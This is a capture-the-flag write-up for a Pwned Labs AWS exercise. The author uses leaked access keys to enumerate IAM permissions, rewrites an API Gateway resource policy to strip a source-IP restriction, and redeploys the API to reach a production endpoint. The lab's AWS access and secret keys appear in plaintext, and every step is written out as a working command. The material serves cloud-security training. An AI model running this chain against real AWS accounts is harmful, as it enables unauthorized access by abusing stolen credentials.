8 minutes
Pwned Labs - Bypass Restrictions in API Gateway
Bypass Restrictions in API Gateway
Scenario
As part of a red team engagement, we have gained access to several AWS CodeCommit repositories. In one of the repositories we found hardcoded AWS access keys and a development API endpoint. Can you use this to compromise more than the development environment, and help increase our access?
Learning Outcomes
- Understanding of the Amazon API Gateway service
- Understanding of API security and how to approach it
- Making changes to resource policies and deploying new configurations
- IAM policy enumeration
Real World Context
An API (Application Programming Interface) gateway is a key part of modern software stacks. Acting like a middleman between users and the backend systems, it serves as a single entry point to handle and protect access to various APIs. Being able to assess API security by exploiting vulnerabilities, misconfigurations and exposures, and learning how to prevent making these mistakes are very important skills for penetration testers, software engineers and DevOps professionals alike.
Amazon API Gateway is a comprehensive service from AWS that allows the creation, deployment, and management of APIs at scale. It provides functionalities like transforming requests and responses, managing access through authorization, controlling request rates (throttling), and integrating seamlessly with AWS services (i.e. Lambda).
Entry Point
Dev API URL: https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/dev
Access Key: AKIA2JCFAHDRB3L3OE3P
Secret Key: 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
Attack
We know that this is an API Endpoint just by looking at the URL so first things, lets see what we get back with a normal curl
request
❯ curl -i https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/dev
HTTP/2 405
content-type: application/json
content-length: 32
date: Fri, 05 Jul 2024 01:41:04 GMT
x-amzn-requestid: 3abff5eb-a62b-4192-99fa-981e71d63fc2
x-amz-apigw-id: aalPrHvdvHcED5g=
x-cache: Error from cloudfront
via: 1.1 7e377c623bb77c8cf576d7c7b5debcf2.cloudfront.net (CloudFront)
x-amz-cf-pop: KUL50-P1
x-amz-cf-id: WirPqhVonN0gxkXKGf30ejNr004iw18sg3I01aBbW8jmZfoTli7GWQ==
{"message":"Method Not Allowed"}%
This gives us a 405 Status Code telling us “Method Not Allowed”, so the next logical step would be to try using the POST Method
❯ curl -i https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/dev -X POST
HTTP/2 405
content-type: application/json
content-length: 32
date: Fri, 05 Jul 2024 01:42:37 GMT
x-amzn-requestid: e10a80ba-ba4b-4a22-8f33-dd1218df66ad
x-amz-apigw-id: aaleGEJrvHcEaWw=
x-cache: Error from cloudfront
via: 1.1 ce0975dbd9e02d51d684d78fec086bea.cloudfront.net (CloudFront)
x-amz-cf-pop: KUL50-P1
x-amz-cf-id: G1pXVyfjsfVy0ob7O3xF-Dc884u0exy8dsUC3WoqLLFd83ntfl-ceA==
{"message":"Method Not Allowed"}%
This also returns a 405 error, so we can try all the other methods manually or try OPTIONS
❯ curl -i https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/dev -X OPTIONS
HTTP/2 200
content-type: application/json
content-length: 0
date: Fri, 05 Jul 2024 01:42:51 GMT
x-amzn-requestid: a59c6d29-d2f4-4665-8cec-e4a6fcb9f2a7
access-control-allow-origin: *
access-control-allow-headers: Content-Type,X-Amz-Date,Authorization,X-Api-Key,X-Amz-Security-Token,X-Amz-User-Agent
x-amz-apigw-id: aalgSE6zvHcEV9A=
access-control-allow-methods: PATCH, OPTIONS
x-cache: Miss from cloudfront
via: 1.1 6a98c19531a35c06dca95806ad705bd0.cloudfront.net (CloudFront)
x-amz-cf-pop: KUL50-P1
x-amz-cf-id: Bx503JVPqfXpbXfcWZsCSy7pV6gg3p9pdDiMSf-ENELdvjeYhLOx8g==
We can see that there are two allowed methods, being OPTIONS and PATCH. The PATCH method is used to apply partial modifications and is beneficial for performance and bandwidth. Lets see what we get back when we pass in that method.
❯ curl -i https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/dev -X PATCH
HTTP/2 500
content-type: application/json
content-length: 239
date: Fri, 05 Jul 2024 01:56:47 GMT
x-amzn-requestid: 14a3cce2-0f7e-41f9-b3cf-f1f229186fba
x-amz-apigw-id: aanjBFA9vHcEA-A=
x-cache: Error from cloudfront
via: 1.1 6a98c19531a35c06dca95806ad705bd0.cloudfront.net (CloudFront)
x-amz-cf-pop: KUL50-P1
x-amz-cf-id: 8CrnnL1yajxTUbtu5w7htlVqGTnFs30t0J6bISXdqrkBxrU4gNuIgw==
{"status":500,"error":"Dev Environment Misconfiguration","message":"The development environment is currently unavailable due to unexpected maintenance. Our team is actively working to restore service. Please try your request again later."}%
Based on the above error message, this would imply that there could be other typical environments such as uat, oat, staging, pre-prod and prod for example. We will wee what we get it we try a couple of these
❯ curl -i https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/staging
HTTP/2 403
content-type: application/json
content-length: 42
date: Fri, 05 Jul 2024 02:04:04 GMT
x-amzn-requestid: ca31070f-5bd8-47c0-a327-41247e288f14
x-amzn-errortype: MissingAuthenticationTokenException
x-amz-apigw-id: aaonPHOwPHcEWLA=
x-cache: Error from cloudfront
via: 1.1 ce0975dbd9e02d51d684d78fec086bea.cloudfront.net (CloudFront)
x-amz-cf-pop: KUL50-P1
x-amz-cf-id: Xuey3XpWIpjZDk7ewBOBUPQJinooI0Vm4AA7mWnqmX-VxxKohrPXbg==
{"message":"Missing Authentication Token"}%
❯ curl -i https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/prod
HTTP/2 403
content-type: application/json
content-length: 158
date: Fri, 05 Jul 2024 01:58:26 GMT
x-amzn-requestid: 11367aa2-7340-42f8-9fe7-17eabf7ccd43
x-amzn-errortype: AccessDeniedException
x-amz-apigw-id: aanyZFUBvHcEMxw=
x-cache: Error from cloudfront
via: 1.1 05f394b31d2ed09cc806a0e6ce51c116.cloudfront.net (CloudFront)
x-amz-cf-pop: KUL50-P1
x-amz-cf-id: ISdUGWNivbPMNFmWglenJkfINHPWbVjDdAplBsTEHfF-GVBewWpudQ==
{"Message":"User: anonymous is not authorized to perform: execute-api:Invoke on resource: arn:aws:execute-api:us-west-2:********8242:dyte6595bf/api/GET/prod"}%
We get a Missing Authentication Token for all environments, except for Production which gives a different message. Doing some searching on the message, we find this article which indicates that this is related to default authentication being disabled, and the resource policy enabled.
As we have credentials, we shall configure our AWS CLI and verify that they are working.
❯ aws --profile pentester configure
AWS Access Key ID [None]: AKIA2JCFAHDRB3L3OE3P
AWS Secret Access Key [None]: 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
Default region name [None]: us-west-2
Default output format [None]:
❯ aws --profile pentester sts get-caller-identity
{
"UserId": "AIDA2JCFAHDRGXV64L6KA",
"Account": "706666838242",
"Arn": "arn:aws:iam::706666838242:user/staging_eng"
}
We shall now see if the staging_eng
account is able to list REST API’s
❯ aws --profile pentester apigateway get-rest-apis
{
"items": [
{
"id": "dyte6595bf",
"name": "APIGatewayDev",
"description": "API prototype for new service",
"createdDate": "2024-07-05T09:23:02+08:00",
"apiKeySource": "HEADER",
"endpointConfiguration": {
"types": [
"EDGE"
]
},
"policy": "{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":\\\"*\\\",\\\"Action\\\":\\\"execute-api:Invoke\\\",\\\"Resource\\\":\\\"arn:aws:execute-api:us-west-2:706666838242:dyte6595bf\\/*\\/GET\\/prod\\\",\\\"Condition\\\":{\\\"IpAddress\\\":{\\\"aws:SourceIp\\\":\\\"172.16.5.10\\\"}}},{\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":\\\"*\\\",\\\"Action\\\":\\\"execute-api:Invoke\\\",\\\"Resource\\\":\\\"arn:aws:execute-api:us-west-2:706666838242:dyte6595bf\\/*\\/*\\/dev\\\"}]}",
"disableExecuteApiEndpoint": false,
"rootResourceId": "h6cibto12i"
}
]
}
Lets make the policy section a little easier to read and we can then see that the policy applied to the production environment has a SourceIP restriction
❯ aws --profile pentester apigateway get-rest-apis | jq -r '.items[].policy' | sed 's/\\//g' | jq .
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "execute-api:Invoke",
"Resource": "arn:aws:execute-api:us-west-2:706666838242:dyte6595bf/*/GET/prod",
"Condition": {
"IpAddress": {
"aws:SourceIp": "172.16.5.10"
}
}
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "execute-api:Invoke",
"Resource": "arn:aws:execute-api:us-west-2:706666838242:dyte6595bf/*/*/dev"
}
]
}
The logical step that we would want to take is to find a way to remove the Source IP address restriction and we will have to enumerate further to see if we have the permission to do so.
❯ aws --profile pentester iam list-attached-user-policies --user-name staging_eng
{
"AttachedPolicies": [
{
"PolicyName": "staging_engineer_policy",
"PolicyArn": "arn:aws:iam::706666838242:policy/staging_engineer_policy"
}
]
}
We have a single policy attached which we will further enumerate
❯ aws --profile pentester iam get-policy --policy-arn arn:aws:iam::706666838242:policy/staging_engineer_policy
{
"Policy": {
"PolicyName": "staging_engineer_policy",
"PolicyId": "ANPA2JCFAHDROF6ZQY76U",
"Arn": "arn:aws:iam::706666838242:policy/staging_engineer_policy",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"Description": "Policy staging engineer account",
"CreateDate": "2024-07-05T01:23:02+00:00",
"UpdateDate": "2024-07-05T01:23:02+00:00",
"Tags": []
}
}
We can see that this is Version 1, so lets get the details
❯ aws --profile pentester iam get-policy-version --policy-arn arn:aws:iam::706666838242:policy/staging_engineer_policy --version-id v1
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": "apigateway:POST",
"Effect": "Allow",
"Resource": "arn:aws:apigateway:us-west-2::/restapis/*/deployments"
},
{
"Action": [
"apigateway:GET",
"apigateway:PATCH"
],
"Effect": "Allow",
"Resource": [
"arn:aws:apigateway:us-west-2::/restapis",
"arn:aws:apigateway:us-west-2::/restapis/*"
]
},
{
"Action": "apigateway:UpdateRestApiPolicy",
"Effect": "Allow",
"Resource": "arn:aws:apigateway:us-west-2::/restapis/*"
},
{
"Action": [
"iam:GetPolicy",
"iam:GetPolicyVersion",
"iam:ListAttachedUserPolicies"
],
"Effect": "Allow",
"Resource": "*"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2024-07-05T01:23:02+00:00"
}
}
The following is a high-level summary of the permissions that are of interest to us:
apigateway:POST
: Allows creating deployments for any REST API in theus-west-2
regionapigateway:GET
apigateway:PATH
: Allows reading and modifying any REST API in theus-west-2
regionapigateway:UpdateRestApiPolicy
: Allows updating the policy for any REST API in theus-west-2
region
We can definitely work with that and now time to review the AWS documentation on how we can modify the production endpoint to remove the SourceIP restriction.
We have the policy from earlier, and reading through the documentation, we can generate a skeleton file that we will use to fill out.
❯ aws apigateway update-rest-api --generate-cli-skeleton | tee update_api_policy.json
{
"restApiId": "",
"patchOperations": [
{
"op": "add",
"path": "",
"value": "",
"from": ""
}
]
}
As we have saved the policy document, we will do a little vim
magic so that this is can be added into the skeleton file that we will the pass in so that we can update the policy. With the current policy in vim
remove the Condition Statement and then save the file so it looks like the following:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "execute-api:Invoke",
"Resource": "arn:aws:execute-api:us-west-2:706666838242:dyte6595bf/*/GET/prod",
{
"Effect": "Allow",
"Principal": "*",
"Action": "execute-api:Invoke",
"Resource": "arn:aws:execute-api:us-west-2:706666838242:dyte6595bf/*/*/dev"
}
]
}
From Normal Mode enter the following sequence of characters gg0 VG J
and your file will now look like this:
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": "*", "Action": "execute-api:Invoke", "Resource": "arn:aws:execute-api:us-west-2:706666838242:dyte6595bf/*/GET/prod", { "Effect": "Allow", "Principal": "*", "Action": "execute-api:Invoke", "Resource": "arn:aws:execute-api:us-west-2:706666838242:dyte6595bf/*/*/dev" } ] }
The following is a quick summary of the commands:
gg
: Move the cursor to the beginning of the file.0
: Move the cursor to the beginning of the current line.V
: Enter Visual mode. This allows you to visually select lines.G
: Move the cursor to the last line of the file.J
: Join the selected lines into a single line.
We now need to escape characters and from command mode enter the %s /"/\\'/g
command which will escape all "
and copy this across to the skeleton file and make a couple of minor tweaks
- Change “op” to replace
- Add path
/policy
(Refer to AWS Documentation) - Fix the JSON formatting by adding a
}
after*/GET/prod
- Remove the
from
key
The skeleton file that we saved which will look like the following:
{
"restApiId": "dyte6595bf",
"patchOperations": [
{
"op": "replace",
"path": "/policy",
"value": "{ \"Version\": \"2012-10-17\", \"Statement\": [ { \"Effect\": \"Allow\", \"Principal\": \"*\", \"Action\": \"execute-api:Invoke\", \"Resource\": \"arn:aws:execute-api:us-west-2:706666838242:dyte6595bf/*/GET/prod\"}, { \"Effect\": \"Allow\", \"Principal\": \"*\", \"Action\": \"execute-api:Invoke\", \"Resource\": \"arn:aws:execute-api:us-west-2:706666838242:dyte6595bf/*/*/dev\" } ] }"
}
]
}
We then import the policy document
❯ aws --profile pentester apigateway update-rest-api --cli-input-json file://update_api_policy.json
{
"id": "dyte6595bf",
"name": "APIGatewayDev",
"description": "API prototype for new service",
"createdDate": "2024-07-05T09:23:02+08:00",
"apiKeySource": "HEADER",
"endpointConfiguration": {
"types": [
"EDGE"
]
},
"policy": "{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":\\\"*\\\",\\\"Action\\\":\\\"execute-api:Invoke\\\",\\\"Resource\\\":\\\"arn:aws:execute-api:us-west-2:706666838242:dyte6595bf\\/*\\/GET\\/prod\\\"},{\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":\\\"*\\\",\\\"Action\\\":\\\"execute-api:Invoke\\\",\\\"Resource\\\":\\\"arn:aws:execute-api:us-west-2:706666838242:dyte6595bf\\/*\\/*\\/dev\\\"}]}",
"tags": {},
"disableExecuteApiEndpoint": false,
"rootResourceId": "h6cibto12i"
}
We should now be able to browse the production endpoint. No!
❯ curl -i https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/prod
HTTP/2 403
content-type: application/json
content-length: 158
date: Fri, 05 Jul 2024 04:27:50 GMT
x-amzn-requestid: e75aa770-ae72-4f6d-864f-487c63ae5bde
x-amzn-errortype: AccessDeniedException
x-amz-apigw-id: aa9rHEesPHcEpzQ=
x-cache: Error from cloudfront
via: 1.1 8c73194b247676a80d86714cba2447a4.cloudfront.net (CloudFront)
x-amz-cf-pop: SIN52-C3
x-amz-cf-id: vfUdSArLUYjba5RRaQSEQc0xXjWp1ypUc0DJj4oHHNFC3eCC7qEIwQ==
{"Message":"User: anonymous is not authorized to perform: execute-api:Invoke on resource: arn:aws:execute-api:us-west-2:********8242:dyte6595bf/api/GET/prod"}%
We have updated the policy, but still not able to access it. Why? Looking through the documentation we have to redeploy the endpoint which we shall now do.
Ensure that you specify a Stage Name as per https://docs.aws.amazon.com/apigateway/latest/developerguide/how-to-deploy-api-with-console.html#how-to-deploy-api-console
❯ aws --profile pentester apigateway create-deployment --rest-api-id dyte6595bf --stage-name api
{
"id": "a5kcxr",
"createdDate": "2024-07-05T12:33:02+08:00"
}
We are able to access this form anywhere now
❯ curl -i https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/prod -X GET
HTTP/2 200
content-type: application/json
content-length: 44
date: Fri, 05 Jul 2024 04:43:27 GMT
x-amzn-requestid: 2bd9c8ee-9215-4556-a702-194050af33f8
x-amz-apigw-id: aa_9gHnBPHcEe4w=
x-cache: Miss from cloudfront
via: 1.1 c2e4ac979e01c116ae8349b7d6d1489a.cloudfront.net (CloudFront)
x-amz-cf-pop: SIN52-C3
x-amz-cf-id: XGJ18QRei4ePHMiFHBgsvJdCi5okgJcMSY-XKnrxxhZOzD5S3O0h5g==
{"flag": "redacted"}%
PWNED!